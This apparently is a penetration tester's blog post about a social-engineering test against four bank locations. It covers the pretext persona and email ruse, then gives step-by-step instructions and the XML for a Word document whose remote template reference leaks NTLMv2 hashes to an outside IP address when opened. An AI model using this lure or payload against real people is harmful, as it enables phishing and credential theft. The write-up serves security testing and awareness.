Adventures in Social Engineering: The Evil Reference

I recently completed a social engineering gig targeting four bank locations. After a phone call and a few e-mails, I was able to grab some victims' NTLMv2 domain hashed credentials.

The Approach

I developed a fictitious persona to help me in my endeavor. I posed as an IT guy moving to the area and looking for work at a nearby community college or casino. I called on the banks requesting information on safety deposit boxes and, in some cases, where to send my "wife's" resume – she was also looking for work. I asked that they send me information via e-mail and include it in a PDF or Word document because those formats are easier to read on tablets and/or phones.

The Build-Up

In general, people prefer to help their fellow human being.

Here you see a reply to one of my requests via email:

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1 A response to my e-mail including the original PDF I requested

Once a target sent an email including a document, I would reply with a modified document that included an "evil reference." As part of the ploy, I would ask the target to check the document because the attachment wouldn't open on my side.

Here's an example of one of these ruses including the embedded .docx including the evil reference:

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2 My response to the victim. Note the .docx file I included (spoiler, the target downloaded it)

The Pay-Off

The target opened the .docx I sent and with that, inadvertently sent me her hashed NTLMv2 domain credentials.

And again, because most humans default to helpful, she replied again with another PDF:

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Don't Try This at Home

Here's how I created my .docx with an evil reference:

  1. Using Microsoft Office 2003 or newer, create a .dotx template file, and save the template file to an UNC location
  2. Create a new Word document based on you just-created .dotx, and now save this document as docx.
  3. Opening the document will result in the submission of the user's netNTLM hashes to the referenced UNC location.

To change the referenced template IP, edit word/_rels/settings.xml.rels using WinRAR to open the docx compressed file or just grep for it.

<?xml version="1.0" encoding="UTF-8" standalone="true"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship TargetMode="External" Target="file:///\\5.101.105.214\dotx" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Id="rId1"/></Relationships>

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